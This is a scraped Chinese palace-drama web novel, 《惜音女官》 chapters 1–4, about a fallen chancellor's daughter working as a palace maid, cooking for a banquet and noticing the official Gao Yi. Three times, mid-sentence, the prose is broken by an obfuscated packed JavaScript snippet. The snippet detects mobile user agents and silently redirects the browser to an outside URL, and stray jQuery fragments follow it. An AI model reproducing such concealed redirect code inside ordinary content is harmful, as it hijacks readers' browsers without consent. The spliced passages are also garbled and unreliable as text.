《惜音女官》 1. 云泥之别 秋风一起,芷萝宫的树木就开始落叶了。 满地的银杏叶、梧桐叶、枣树叶等,虽然给院子增添了几分趣味,却无人欣赏。这里是妃嫔的宫苑,必须时刻保持整洁。 因此,这些天,秦惜音一直在清扫落叶。 清扫完毕后,还要将落叶碾碎,埋入花圃的泥土里,作为堆肥使用。 这个活也是秦惜音的。 以前她从来没干过这些杂活,但三个月的宫女生涯,早就让她练就了一身麻利的本领。 从前她还是相府千金时,一入秋,奶娘就会给她做冰糖炖雪梨、红枣银耳汤、蜂蜜水、杏仁露等,每天换着喝,预防秋燥。 但现在,没人为她准备这些了。她咳嗽了两声,尽量打起精神来,继续扫地。 这两天风大,她刚打扫完,地面又会堆积落叶和泥土,她不得不重新扫一遍。 不过,对她来说,打扫院子已经是比较轻松的活了。 眼看院子打扫得差不多了,她准备把落叶碾碎,放入花圃里。 她打扫出来的落叶,都堆在角落里,用几块大石头压住,这样就不会被风吹跑。 可是,另外两个宫女牡丹和青杏走了过来,故意踢翻了石头,堆好的落叶又漫天乱飞。 秦惜音有些生气,但她已经没有发脾气的资本,因此只能默不作声,重新打扫。 牡丹和青杏就站在不远处,一边看着秦惜音干活,一边冷嘲热讽。 牡丹道:“哎呀,瞧瞧那是谁,那不是相府千金吗?怎么也跟咱们在一起当差了?” 青杏冷笑道:“什么相府千金,她现在只是个罪奴罢了,身份比我们还低。谁让她父兄站错了队,当初支持三皇子夺嫡。当今皇上登基之后,自然要清算三皇子的党羽,能留她一命已经算好了。” “那倒是。以前高不可攀的千金小姐,一朝跌落泥里,我都替她感到伤心。” 然而,牡丹的话中没有半分伤心之意,反而充满了幸灾乐祸。 秦惜音没有抬头,也没有理会她们。 这些话,她已经听得太多,早就波澜不惊了。 她虽然因家族获罪,没入宫中为奴,但自问从来没有得罪过谁、欺负过谁。 可是,总有人来欺负她,看她笑话。 秦惜音逐渐明白一个道理:有些人的恶意是无来由的,只要你处于弱势,她们就会狠狠踩你一脚。不为别的,只为了好玩,或是为了满足她们那卑劣的嫉妒心。 秦惜音觉得,自己以前太天真了。她以前总认为自己身边都是善良的人,但那是因为以前的她身份高,别人得罪不起,而且很多人也可能对她有所求。 如今跌落尘埃,倒是看清了这个世界的真相。 秦惜音并不气馁,她还年轻,未来还长着,总不可能一直当一个受人欺负的小宫女。 她只认真地清扫着眼前的地面,因为她相信路就在脚下。 牡丹和青杏见秦惜音不接茬,也觉得没意思,就不再嘲讽。她们俩拿了一些脏衣服过来,对秦惜音道:“惜音,你把这些衣服洗了。” 秦惜音道:“好的,一会我送去浣衣局。” 牡丹却道:“不用送去浣衣局,她们洗得没你干净。前几天你洗的衣服,昭仪娘娘和大宫女们都很满意。所以,以后芷萝宫里的衣服都由你来洗。” 妃嫔宫中的衣服,一向是由浣衣局来洗。 但是前几天,牡丹和青杏以教秦惜音规矩为由,让秦惜音洗衣服,秦惜音就洗了。 秦惜音本以为,只要照她们的吩咐做,她们觉得没意思了,就不会继续为难自己。 没想到,今天她们两个又给自己加了每天洗衣服的活。 秦惜音要做的事已经很多了,如果再加上洗衣服,恐怕是干不完的。就算勉强干完,也会极大地影响身体健康。 因此,秦惜音笑着说道:“两位姐姐,我又要负责打扫卫生,又要负责跑腿干活,还时不时有别的杂活交给我。如果让我洗芷萝宫所有的衣服,我只能压缩时间,肯定洗不好。如果被昭仪娘娘发现衣服不够干净,不止我要被责罚,两位姐姐可能也脱不了干系。毕竟,是两位姐姐把这个活交给我的。 不如这样,其他人的衣服,我送去浣衣局;两位姐姐的衣服,由我亲自洗。你们看怎么样?” 秦惜音说的有道理,牡丹和青杏不免也有些犹豫。她们俩虽然想为难秦惜音,但不想承担责任。如果秦惜音真的因为时间不够,只能把衣服洗得一般,那她们就有被牵连的风险。 秦惜音见她们神色松动,便趁热打铁:“两位姐姐,我可是落难的相府千金,让我来洗衣服的机会,可不是人人都有。如果我把每位宫女姐姐的衣服都洗了,那岂不是显不出两位姐姐的特殊之处?” 牡丹和青杏越想越有道理:对啊,让落魄的相府千金服侍的机会,凭什么人人都有?她们偏不让秦惜音洗其他人的衣服!秦惜音只能洗她们俩的衣服。 于是,牡丹和青杏交换了一个眼色,就点了点头,把她们两人的衣服挑出来给秦惜音。 牡丹道:“这几件是我和青杏的,劳烦你洗一下。其他人的衣服,你就送到浣衣局,不得有误。” 秦惜音点头:“好的,牡丹姐姐。” 牡丹发现,自己竟不自觉地对秦惜音客气起来。以前她对秦惜音颐指气使的,但刚才竟然使用了“劳烦你”这种敬语。 大概是她觉得,她越是抬高秦惜音的身份,那秦惜音听她的话、洗她的衣服,就更显得她与众不同吧。 牡丹和青杏走后,秦惜音先把落叶碾碎,埋进花圃的土壤里,然后打水洗手。洗完手后,她把其他人的衣服送到浣衣局,把牡丹和青杏的衣服自己洗了。 只要洗两个人的衣服,轻松多了。这已经是她能为自己争取的最好的生活了。 秦惜音的父亲本是尚书令,相当于宰相。父亲一向跟先帝的三皇子比较亲厚。 当今皇帝是先帝的五皇子,以前一直藉藉无名,表面上也看不出争储的心思。而且,明面上,五皇子的势力也不如其他皇子。 没想到,五皇子才是布局最深的那一个,他暗中削弱其他皇子的势力,最终掌握了京城的兵权,顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751528|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利登基。 而在夺嫡时,三皇子曾打压过他。所以他登基后,清算三皇子一系,秦惜音家也受到牵连。 好在秦家为三皇子提供的帮助不多,最多就是朝堂上为三皇子说话、帮三皇子弹劾其他异己,等等。 所以,新帝继位,也没有赶尽杀绝,只是把秦家人流放了。秦家已经出嫁的女儿并未被流放,但女婿们都被贬官到非常偏远的地方,出嫁的女儿们自然也要跟去。 秦惜音是秦家唯一的未嫁女眷,她父亲用最后一笔钱打点关系,让秦惜音入宫为奴,这样至少不用受流放之苦。 在秦惜音被宫中嬷嬷带走的时候,父亲嘱咐道:“留得青山在,不怕没柴烧。惜音,无论以后遭遇什么,都再等等,说不定转机就在明天。记住,永远不要绝望。” 秦惜音当时郑重地点头:“我知道了,父亲。我会好好活下去的。” 入宫以后,她先跟着教习嬷嬷们学规矩、学礼仪、学干活。学得差不多之后,才分配宫室。 而能分配到哪里,是根据自己的表现来的。 秦惜音由一个什么都不会的千金小姐,成为一个什么活都能干的宫女,只用了半个多月。 她没有抱怨,没有哭泣,也没有自暴自弃。 以前父亲跟她说过,无论遇到什么事,都往好处想。很少有纯粹的坏事,有些事你换个角度看,也许会不一样。 因此,秦惜音只把这一番遭遇,当成了学习生活技能的契机。 以前她呼奴使婢,十指不沾阳春水,没有机会学习洗衣服、做饭、打扫卫生等事。现在学到了,并且学得很好,也算是个收获。 由于秦惜音学得不错,对教习姑姑们也很尊敬,在分配宫室的时候,她被分到了杨昭仪的芷萝宫。 杨昭仪也是得宠的妃嫔,地位仅次于瑾妃。 宫中没有皇后,由瑾妃执掌凤印。杨昭仪已经算是一人之下、万人之上。 杨昭仪时不时地会赏赐宫人,不过秦惜音往往是分不到什么的。她的那一份,总是被其他人拿走。 秦惜音也不争,她觉得她的战场不应该在这儿。 既然现在暂时当着宫女,她做好分内的事就行了。最不济,等到皇帝什么时候大赦天下,她说不定能被赦免出宫呢。 她决定先攒钱,等有了出宫的机会,也能有本钱生活,或是做点小生意。 这天,芷萝宫的大宫女乌梅把所有的下人召集到一个房间,对她们说道:“眼下,昭仪娘娘吩咐下来一件任务。谁若能办好了,不仅有赏,而且能在昭仪娘娘面前得脸。你们听好了。” 牡丹问道:“什么事啊?” 乌梅道:“十日后,太后娘娘要举办赏花宴,邀请朝中的青年才俊前往赴宴。这次的宴会名为赏花,其实是为了庐陵长公主选婿而设。太后娘娘觉得尚食局的饭菜都吃腻了,因此命各宫准备一两道膳食,以备赏花宴之用。 你们当中有谁擅长厨艺的,可以试着接一下这个活。这件事很重要,如果办得不好,就会害昭仪娘娘在太后面前没脸。所以,你们要考虑清楚了。” 2. 巧解矛盾 庐陵长公主是太后的亲生女儿,今年十六岁,也到了选婿的年纪。 太后没有儿子,只有两个女儿,长女已经出嫁,只有次女还留在身边。 当今皇帝是太后的养子,所以皇帝登基后,尊养母为太后。 不过,太后当年其实有好几个养子,三皇子也是其中之一。 在诸子夺嫡的时候,当今皇帝跟几位兄弟闹得挺不愉快,三皇子也被永久圈禁。 皇帝和太后之间有没有产生隔阂,就只有他们自己知道了。 如今后宫大权在瑾妃手里,太后在寿康宫颐养天年,最大的心事就是小女儿的婚事了。 秦惜音会做饭,而且做得还不错。她在考虑要不要自告奋勇。 如果风头太盛,可能会引来祸事;但如果不抓住这次机会,她总觉得可惜。 如果她做的菜能入了杨昭仪和太后的眼,那赏赐肯定是少不了的。有更多的钱傍身,对她来说也是好事。 这时,已经有两个宫女报名了。 秦惜音不再犹豫,说道:“奴婢惜音,也要报名。” 乌梅不屑地打量了秦惜音几眼,道:“是你?” 秦惜音恭顺回答:“是。” “行吧,那你就试试。不过,如果你做得不好吃,浪费了食材,我也会责罚你。” “是。” 秦惜音和另外两个宫女来到了小厨房。 另外两个宫女互相使了个眼色,拿走了一些名贵的和品相好的菜。 秦惜音习以为常了,只能尽量用好眼前的普通菜。 她决定做一个爆汁小蘑菇和一个翡翠白菜卷。 蘑菇只有四个了,她先洗干净,吸干水分,然后把蘑菇蒂取下。 接着,锅中放油,小火加热,蘑菇口朝下,慢慢煎着。 过了一会,再把蘑菇翻面,口朝上,每个蘑菇上都撒上一点点盐巴。 煎了一会,蘑菇出汁了,再慢慢夹到盘子里。 这就是爆汁蘑菇,做法非常简单。但是,如果要参加宴会,可能还要费点心思。 秦惜音已经拿了最小的盘子,但是四个蘑菇还是太少,看起来很空。 她灵机一动,去外面摘了几朵黄.色的花,洗干净之后,放在蘑菇之间的间隔处。 这样,四个蘑菇、四朵黄花,交错摆着,看起来还不错。 接下来,要做翡翠白菜卷。 先把胡萝卜、黄瓜、青椒洗干净,切成丝,然后放入碗中调味。 加少许的盐、糖、辣椒酱和醋,搅拌均匀。 接着,剥下几片白菜叶,放入锅中烫熟。 煮软后的白菜叶捞出,沥干水分。 等白菜不烫了之后,在上面放入凉拌好的青椒丝、黄瓜丝、胡萝卜丝,卷起来。 这样,一个翡翠白菜卷就做好了。 接下来如法炮制,秦惜音一共做了六个,摆好盘。 不过,这菜看起来也简单了一些。 秦惜音决定调一个特别的蘸酱。 她拿过一个小碗,放入少许辣酱、酱油,然后把苹果和梨磨碎,加入蘸料中,然后加入少许的凉白开。 接着,她又切了一些苹果、梨、山楂,放入石臼中捣出汁,然后把这些果汁也加进去。 这样,她的特别蘸料就调好了。 等其他两个宫女也做完了菜,秦惜音跟她们一起,把菜呈上,给杨昭仪吃。 杨昭仪看着眼前的菜,露出满意的神色。 不过,她看到秦惜音呈上来的菜时,有些惊讶,似乎觉得太简单了。 杨昭仪把另外两个宫女的菜尝了几口,称赞了几句。 接着,她开始品尝秦惜音的菜。 秦惜音介绍道:“娘娘,那道翡翠白菜卷,您得蘸着蘸料吃。” 杨昭仪试了一下,眼中露出惊艳的神色,问秦惜音:“这蘸料是你自己做的?” 秦惜音:“回娘娘,是的。” “这道菜不错,蘸上蘸料更是别有一番风味。” 接着,杨昭仪又吃了爆汁蘑菇,说道:“这道菜虽然简单些,但作为餐前小食倒是不错。惜音,十日后的赏花宴,就由你代表芷萝宫呈上膳食,就做这两道菜吧。不过,宴会上人多,需要准备的份量也很多,跟今日的小锅菜不同。你可能胜任?” 秦惜音说道:“奴婢能胜任,谢娘娘信任。奴婢一定会把这事做好。” “那就好。其他人都退下,惜音留一下,本宫还有几句话嘱咐你。” 等其他人走后,杨昭仪围着秦惜音走了几圈,上下打量着她。 杨昭仪的神色似乎带有审视的意味,秦惜音心里有些忐忑,不知道杨昭仪想干什么。 过了一会,杨昭仪说道:“之前,本宫听说芷萝宫里来了一位以前的宰相千金,但本宫一直没有太注意。今日一见,你才貌双全,楚楚动人,还会做菜,比其他宫人要优秀许多。依本宫看,就是这宫里的许多妃嫔,跟你也没法比。” 秦惜音赶紧说道:“娘娘谬赞,奴婢愧不敢当。奴婢以前虽是官家千金,但现在已经是芷萝宫的奴婢,又怎敢与宫中的妃嫔主子们相比?就是其他的宫女,也有许多值得奴婢学习的地方。” “你不用过谦。你自身优秀,是不争的事实。不过你要知道,你现在是贱籍,只能老老实实当宫女,没有别的可能。所以,别因为你过人的才貌,而生出不该有的心思。否则他日自取灭亡,勿谓本宫言之不预。” “奴婢明白。奴婢只想安分当宫女,没有别的想法。” “太后的赏花宴上,皇上也会出席。你说,若是皇上见到了你,会怎么样呢?” “皇上出席,自是为了庐陵长公主的婚事而操心,肯定不会注意奴婢这样卑微的宫女。为保险起见,奴婢可以通过化妆,遮掩容貌,绝不会引人注意的。而且,奴婢上完菜就走,绝不逗留。” “那就好,希望你说到做到。赏花宴那日,本宫虽不会出席,但本宫自有耳目,可以向本宫报告一切。” “是。” 秦惜音被无故敲打了一番,心里有些委屈,但不能表现出来,而是恭恭敬敬地退下了。 而杨昭仪看着秦惜音离去的背影,目光深沉。 她本来不想选秦惜音,但秦惜音做的菜确实是几个宫女里最好的。 杨昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751529|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仪希望在太后那里刷好感,那就必须在赏花宴上派出厨艺最好的宫女。最好芷萝宫献的菜得到太后的夸赞,那杨昭仪在皇帝和太后心里的分量就更重了。 虽说皇帝不是太后亲生的,但目前他们母子和睦,皇帝也很孝顺太后。 杨昭仪想更进一步,肯定要得到太后的赏识。 她觉得自己不比瑾妃差,瑾妃能执掌凤印,她也能。便是皇后的位置,她也可以争一争。 接下来的日子,秦惜音每天早起,去厨房练习做菜,力求在赏花宴上做出最好的食物。 练个几遍后,她会吃掉一些,把吃不完的分给小太监小宫女们。 此举倒挺得人心的,几天过后,就有几个小太监、小宫女愿意跟她交朋友了。 之前,芷萝宫上上下下的宫人们都疏远秦惜音,很多人其实是受大宫女的态度影响的。 但现在,有好几个宫人觉得,秦惜音是个好人,经常力所能及地帮助别人,也不因自己曾经是相府千金,就欺负人。 于是,她们也逐渐有了自己的想法,愿意亲近秦惜音。不过,这都是私下里的,她们还不敢大庭广众地公然跟秦惜音交好。 这天,秦惜音又早起做菜,有个叫绿歌的小宫女凑了过来,笑着问道:“惜音姐姐,你能不能教我做菜?” 秦惜音:“好啊,不过我现在活太多,没时间教你。我做菜的时候,你在一边看着就好。以后我不忙了,就抽时间教你。” “也好,那我就看你怎么做。我已经看了好几天了,感觉会了。” “哈哈,那挺好的。” 这时,之前那两个报名献菜的宫女也来了,给杨昭仪准备早饭。 她们看见了秦惜音,便说道:“看不出来,你倒是个有本事的,用几片烂菜叶子也能做出昭仪娘娘喜欢的菜。你当时故意让我们把其他菜抢走,是不是你算准了其他菜做出来没你的好吃?” 秦惜音快被这逻辑给整笑了,但她不能笑,否则得罪人,因此拼命憋着。 绿歌倒是帮着反驳道:“你们两个技不如人,怎么还怪起惜音姐姐来了?我记得那天,你们两个拿走的都是名贵的菜,给惜音姐姐留下的都是普通的菜。这样还输了,真不知道说什么好。” 那两个宫女对绿歌怒目而视:“你说什么?小丫头片子,你懂什么?” 秦惜音打圆场:“两位姐姐,其实你们那天做的菜比我好。昭仪娘娘那天特意留下我单独说话,是告诉我,她之所以选中我的菜,是因为我的菜比较清淡。在赏花宴上,一定有很多大鱼大肉,需要一些清淡的菜来搭配一下。若论口味,我是不如两位姐姐的。 昭仪娘娘还叫我珍惜这次机会,好好准备,别自以为是。” 闻言,两个宫女沾沾自喜,想要掩饰笑容,却怎么也掩饰不住。 其中一个宫女说道:“你知道就好。这次你的菜被选中,也只是运气好。好好表现吧,别丢了我们芷萝宫的人。” 秦惜音道:“是,谨记姐姐教诲。” 两个宫女得意洋洋地走了。 绿歌问秦惜音:“惜音姐姐,您为什么要这么客气?要我说,就该骂回去。” 3. 美食相赠 秦惜音道:“宁得罪君子,莫得罪小人。我要是让她们不开心了,她们在赏花宴上给我使绊子怎么办?到时候,不但我人头落地,可能还会连累芷萝宫其他人。” 绿歌十分佩服:“你说的有道理……可是,即便我懂得这个道理,也没你这么能屈能伸。” 秦惜音淡淡一笑,没有说话。 很快,就是赏花宴的日子了。 秦惜音天不亮就起来梳妆,尽量把自己往普通了化,还在脸上点了一些雀斑。 大宫女乌梅敲她的门,看见了秦惜音现在的样子,也愣了一下。 接着,乌梅说道:“娘娘要见你,快点过去。” 秦惜音不敢耽搁,赶紧跟着乌梅去见杨昭仪。 杨昭仪见了秦惜音现在的样子,呆愣片刻,随即露出了满意的笑容。 杨昭仪说道:“本宫叫你来,不为别的,只是想嘱咐你,今日务必把那两样菜做好。若是得了宾客和太后娘娘的夸赞,本宫重重有赏。留神着点,别让人在菜里做了手脚。” 秦惜音应道:“是。” 秦惜音走后,乌梅对杨昭仪道:“娘娘,惜音化妆成这样,乍一眼看过去平平无奇,应该不会引起皇上的注意了。” 杨昭仪喝了一口茶,道:“但愿吧。她若是知道分寸,本宫还能容得下她。如果不知好歹,那本宫也只好毁去她那张脸,或是直接毁掉她这个人了。” “娘娘,惜音进芷萝宫好几个月了,奴婢冷眼旁观,觉得她已经认命了。她每天都认真干活,从不与人争执,也不争奇斗艳。依奴婢看,她不足为虑,娘娘可以把更多心思放在皇上身上。” “嗯。惜音那边,你多盯着些。她跟你们不一样,她毕竟出身相府,受过良好的教育,琴棋书画样样精通,一不留神就容易冒头。哪怕不是她主动冒头,别人也容易注意到她。” 听见杨昭仪这样说,乌梅眼中闪过一丝嫉妒。随即,乌梅说道:“娘娘放心。” 杨昭仪把乌梅的神色尽收眼底,露出一抹浅笑。 接着,她吩咐乌梅:“今日本宫的弟弟也会出席赏花宴,你替本宫送个香囊给他,顺便告诉他,今日一定要好好表现,争取让庐陵长公主注意到他。” “是。” 乌梅接过香囊,去昭阳门等候杨家公子。 昭阳门是外臣进宫的必经之路,但后宫妃嫔却不能过去。所以,杨昭仪只能让宫女代为传递消息。 —————— 秦惜音一路小跑,来到尚食局。 今天,每个宫里都会派一两个宫人来做菜,厨子们反而落得清闲,只需要帮忙打打下手。 秦惜音要煎上百个蘑菇,做上百个翡翠白菜卷,忙得脚不沾地。 还好她心中早已把这事演练过无数遍,什么时候该切菜,什么时候该烧水,什么时候该调味,都安排得有条不紊。 忙了一阵,她觉得饿了,就匆匆往嘴里塞了点萝卜、黄瓜丝之类的配菜,也来不及好好吃一顿。 宫宴开始,秦惜音等宫人们鱼贯而入,在每一桌都摆上自己做的菜肴。 秦惜音的两个菜是作为餐前点心吃的,所以上得比较早。 她一桌一桌地摆过去,发现今天来的果然是一些年轻男子,大概有二十多个。 只有主位上坐着太后和庐陵长公主,皇帝也坐在太后旁边。 庐陵长公主长得贵气可爱,又带着几分骄矜的神色,一看就是从小被宠大的。 她亲切地挽着太后的胳膊,一会跟太后说话,一会跟皇帝说话。 皇帝魏景深今年二十五岁,正是风华正茂的年纪,眉目俊朗,又带着王者的压迫感,有一种特别的魅力。单论相貌,他跟在座的青年才俊们不相上下。 不过,秦惜音并没有看皇帝,因为她不想引起皇帝的注意。 杨昭仪防着她,其实她自己也不想当妃嫔。她不希望自己的一生被困住。 如果有机会,她还想做一些有意义的事。 秦惜音认真地上菜,大部分宾客没有在意她。 但是,她经过一个身穿绿色圆领袍的官员面前时,那个官员却出声询问:“秦姑娘为何要扮丑?” 秦惜音很惊讶。 这个官员不仅认得她,而且知道她姓秦,还知道这不是她的本来面目。 秦惜音抬头看去,见这年轻官员一张国字脸,一脸正气,剑眉星目,顾盼生辉,嘴角噙笑,看起来既有刚直的一面,私底下脾气又很温和。 秦惜音晃了心神,忍不住又看了他几眼。只是,这张脸对她来说却是陌生的。 她不记得在哪里见过这个男人。 秦惜音小声问道:“大人认得奴婢?奴婢并非故意扮丑,而是本来就长这样。” 这绿衣官员发出一声轻笑,摇了摇头,却也没多说什么。 他忽然伸手拿了一块面前的葡萄酥,借着衣袍的遮掩,塞到了秦惜音手里。 秦惜音有些惊讶地看着他,他小声说道:“你很久没吃这个了吧?大鹏就算暂时落入泥沼,也总有一飞冲天的时候。你一定会翻身的。” 这几句话说得很自然,仿佛他已经认识秦惜音很久了。 可秦惜音却对他没印象。 秦惜音心中十分感动,但也来不及多说什么,只能感激地看了他一眼,并对他福了福身。 接着,秦惜音把葡萄酥藏在衣袖里,继续给其他人上菜。 很快,秦惜音的菜上完了,站在一边。 她现在还不能走,一会等客人们把她做的菜吃得差不多了,她要一个一个地收盘子。要不然,等新菜上来,桌案上摆不下。 秦惜音以前都是在宴席上吃席的人,只等着下人们把空碟子拿走,摆上新菜。 但现在,她自己承担了上菜、收盘子的角色,才明白这个角色有多辛苦。 不仅要饿着肚子看贵人们吃,还不能乱动,不能乱走。就算好奇某道菜的味道,也不能尝尝,只能干看着。 趁别人不注意,秦惜音把袖子里的葡萄酥拿出来吃了。 她确实很久没吃葡萄酥了,这是她最喜欢的糕点之一,不知道刚才那个绿衣官员怎么会知道的。 自从当了宫女,这种精致的吃食就再也与她无缘。 今日骤然吃到,秦惜音感动得快哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751530|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 同时,她心中对那绿衣官员愈加好奇。绿衣官服一般是六七品的小官所穿,而那个官员看起来二十岁上下,已经成为六七品官员,可以说是前途无量。 他如果是靠科举入仕的,那他中举的时间应该更早,可能十几岁就中进士了。 难怪太后会让他来赴赏花宴,成为驸马备选之一。 秦惜音警告自己不可有妄想,自己现在是贱籍,高攀不起在座的任何一人。 过了一会,太后命到场的宾客都一一上前介绍自己,并拜见庐陵长公主。 轮到那绿衣官员时,他说自己是大理寺丞高毅。 秦惜音也听到了,她觉得高毅这个名字有点耳熟。 这时,她想起来了。自己家还没获罪时,大哥来往的朋友之中,就有一个叫高毅的。 只是,秦惜音以前规矩守礼,也不会跟大哥的朋友有什么来往,甚至连他们长什么样都未曾看清。 也许,她没看清过高毅,高毅却看清过她,还留下了印象。 怪不得,刚才高毅一眼就认出了她,还说她故意扮丑。 大理寺丞是从六品,以高毅的年纪来说,升得算快了。 庐陵长公主目不转睛地看了高毅几眼,才微微点头,让他回座位上去。 太后打趣道:“你看这个怎么样?” 庐陵长公主笑道:“母后,容我再想想。这些人看起来都不分伯仲,我都不知道该怎么选了。” 皇帝笑道:“你选不出来也是正常的,这二十多个年轻人,可是母后千挑万选、多方考察的,各方面条件都不错,外形上也都差不多。你只看看哪个最合你眼缘就好了。还没看完呢,还有几个。” 庐陵长公主落落大方地讨论着自己的婚事,一点也没有小女孩的娇羞,可见她平时是自由散漫惯了的,而且没人会约束她。 秦惜音却突然冒出一个想法:希望高毅不要中选。 不过,这想法一冒头,就被她给掐下去了。 接下来上前的是一个身材瘦削、皮肤白皙、面若好女的少年,他自我介绍道:“下官光禄寺少卿杨亭安,拜见长公主。” 庐陵长公主笑道:“你长得像女孩,细看倒比我还美。” 杨亭安拱手道:“不敢。公主是天上月,无人可比。” “这有什么好谦虚的,你确实比我好看。而且,你长得像一个人。” “公主可是觉得,下官长得像杨昭仪?” “没错,就是杨昭仪。你跟她有什么关系吗?” “下官正是杨昭仪的弟弟。” “嗯,好,退下吧。” 杨亭安眼珠转了几下,不知道公主是什么意思。这是看中他了,还是没看中他? 杨亭安想起姐姐的嘱咐,就暂时沉住气,回到了自己的座位上。 接下来,还有几个少年自我介绍。 今天来的宾客,都是18到25岁之间的世家子弟,而且大部分都有官职或爵位在身,谁也不比谁逊色。 介绍完毕后,太后对众人道:“诸位都是文武全才,今日单独宴饮无趣,不如请诸位一展箭术,如何?” 4. 射艺藏锋 众少年皆起身道:“遵太后命。” 于是,太后命人拿来弓箭,并在空旷处摆上屏风,或是在树枝上系着手帕。 太后道:“今日不射动物,只射静物。屏风上的花鸟虫鱼、手帕上的刺绣、树上的叶子、果实等等,都可以射。每人射箭前,先说好自己要射的静物是什么,再看看能不能射中。射艺最好的,可以获得奖励。” 大家都明白,今日获得奖励是次要的,获得庐陵长公主的青眼才是最重要的。 因此,众少年都跃跃欲试,争取技压群雄。 只有大理寺丞高毅站在一边,面色平静,微笑着,不知在想些什么。 由于大家都先不吃了,秦惜音等宫女也就暂时不用收碗了,可以站在一边观看众少年射箭。 第一个射箭的是一个身长九尺、人高马大的少年。他脸上稚气未脱,可能还不到二十岁。但整体给人的感觉却像个中年壮汉,可能是身材的缘故。 只听他说道:“皇上,太后娘娘,公主,我要射的是第一扇屏风上面麻雀的脚。” 第一扇屏风上面绣着一群鸟,每种鸟都只有一只。麻雀在右上方,体型偏小,它的脚就更小了。如果目力不佳,甚至连麻雀脚都看不见。 只见这少年张弓搭箭,“倏”地一箭射出,正中麻雀脚。 庐陵长公主忍不住欢呼起来,就连其他少年也纷纷露出了敬佩的神色。 这雄壮少年家里世代是武将,他也有父祖之风,未来可期。 第二位上场的是一个穿着白袍、面如冠玉的公子。他看起来文弱,但体型不比第一个少年差多少。 只见他笑着说道:“射不会动的物品,显不出技艺的高下。下官愿射中那块白色帕子上蓝蝴蝶的左边触角,请大伙做个见证。” 他说的那块手帕,系在柳枝上,随风飘动。如果把手帕上的蝴蝶作为目标,难度就加大了。而且,他的目标还是蝴蝶左边的触角。那触角只用一根线绣成,极为细小。有时候风大了些,把手帕整个吹起来,上面的蝴蝶就看不见了。 所以,这位少年的目标更难达成。 只见他胸有成竹地接过弓箭,偏着头,瞄准手帕上的蝴蝶触角,等待合适的时机。 就在众人都屏气凝神的时候,他一箭射出,正中蝴蝶的触角。 连太后都忍不住夸赞:“久闻冯家诸子善射,今日一见,果真名不虚传。” 这姓冯的少年躬身道:“谢太后娘娘谬赞。” 接下来,众少年各展所长,也有射屏风上的静物的,也有射花叶枝条的,也有射飞在半空中的树叶的。 不论他们的目标难度大不大,至少他们都射中了自己所说的目标。 接下来,就轮到大理寺丞高毅了。 只听高毅说道:“下官要射第二块屏风上的花瓶。” 那个花瓶非常大,即便是箭术不精之人,也能射中。 高毅选花瓶当目标,从目标上就逊色于其他人。 但是,高毅神色如常,并不理会旁人或惊讶、或鄙夷、或松一口气的表情。 他直直一箭射出,竟然射到了花瓶的旁边,离花瓶有一两寸的距离。 这时,有个少年嬉笑道:“高兄,不是吧,那么大的目标你竟然射不中?我用脚射都能射中啊。” 高毅却并不羞愧,只是很自然地一笑:“某平日疏于练习,以至于此,让诸位见笑了。” 高毅是刑名之官,本不需要以射艺见长,射偏了倒也说得过去。如果是武将射偏了,那问题就大了。 秦惜音在一边看着,总觉得有点问题。 据说,高毅刚入大理寺时,担任的是从七品的主簿。后来,大理寺的官兵在一次押运犯人时,有七名犯人逃跑,而且逃跑的方向都不一样,官兵们追之不及。 高毅骤然张弓搭箭,连射七箭,正中七个逃跑的犯人。因为这个功劳,他才升为从六品的大理寺丞。 他连仓皇逃窜、位置不停变换的歹徒都能射中,怎么会射不中一个静物? 再联想到高毅那高深莫测的表情,秦惜音猜测,也许高毅不想当驸马。 这时,秦惜音在心里暗暗骂了自己一句:怎么一遇到高毅的事,自己就东想西想的?就算想破了脑袋,人家跟自己有一文钱的关系吗?做好自己的分内之事就可以了。 然而,就在秦惜音极力克制自己的想法时,却发现高毅朝自己看了一眼。 秦惜音看了回去,确信自己没看错。 但是,她不知道高毅的眼神是什么意思。 接下来,轮到杨昭仪的弟弟杨亭安射箭。 他的目标是一块粉色帕子上的绿叶。 很快,他也射中了。 不过,他却没有马上把弓递给下一个人,而是用力在弓上捏了一把。 秦惜音发现了他的小动作,但不知道是什么意思。 接着,杨亭安把弓箭递给了一个头戴红色抹额、身穿绯红色圆领袍的少年。 这个少年圆头圆脸,非常可爱,就像个年画娃娃一样。光看他的脸,会以为他才十四五岁。但他的身形已经很高了,是成年人的体型。 这红袍少年接过了弓箭,却没有急着射箭,而是笑道:“这把弓快要坏了,如果我张弓射箭,会伤到自己。我用手掷也行,我的目标是那块蓝色帕子的正中央。” 太后道:“这把弓是兵部打造的良弓,今日刚拿出来使用,没那么容易坏吧?” 